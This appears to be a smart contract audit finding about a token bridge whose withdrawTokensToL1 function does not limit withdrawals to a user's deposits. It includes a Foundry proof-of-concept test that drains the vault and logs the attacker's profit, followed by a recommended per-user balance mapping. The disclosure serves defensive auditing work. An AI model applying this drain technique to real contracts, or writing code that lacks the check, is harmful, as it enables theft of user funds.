Attacker can drain all funds within the vault.
When a user calls withdrawTokensToL1, there are no checks that the amount being withdrawn is equal to or less than the amount they have deposited. Therefore, they are free to withdraw more tokens than they deposited.
function testWithdrawalLimitedToDepositAmount() public {
address user2 = makeAddr("user2");
uint256 depositAmount = 1e18;
vm.startPrank(user);
token.transfer(user2, depositAmount);
uint256 userInitialBalance = token.balanceOf(address(user));
token.approve(address(tokenBridge), depositAmount);
tokenBridge.depositTokensToL2(user, userInL2, depositAmount);
address user2InL2 = makeAddr("userInL2");
vm.startPrank(user2);
token.approve(address(tokenBridge), depositAmount);
tokenBridge.depositTokensToL2(user2, user2InL2, depositAmount);
uint256 totalDeposited = depositAmount * 2;
(uint8 v, bytes32 r, bytes32 s) = _signMessage(_getTokenWithdrawalMessage(user, totalDeposited), operator.key);
tokenBridge.withdrawTokensToL1(user, totalDeposited, v, r, s);
assert(token.balanceOf(address(user)) > userInitialBalance);
console.log("ATTACKER PROFIT = ", (token.balanceOf(address(user)) - userInitialBalance));
assertEq(token.balanceOf(address(vault)), 0);
}
Loss of user funds.
Manual review.
Track user vault balance with a mapping to ensure withdrawals can be checked against amounts deposited.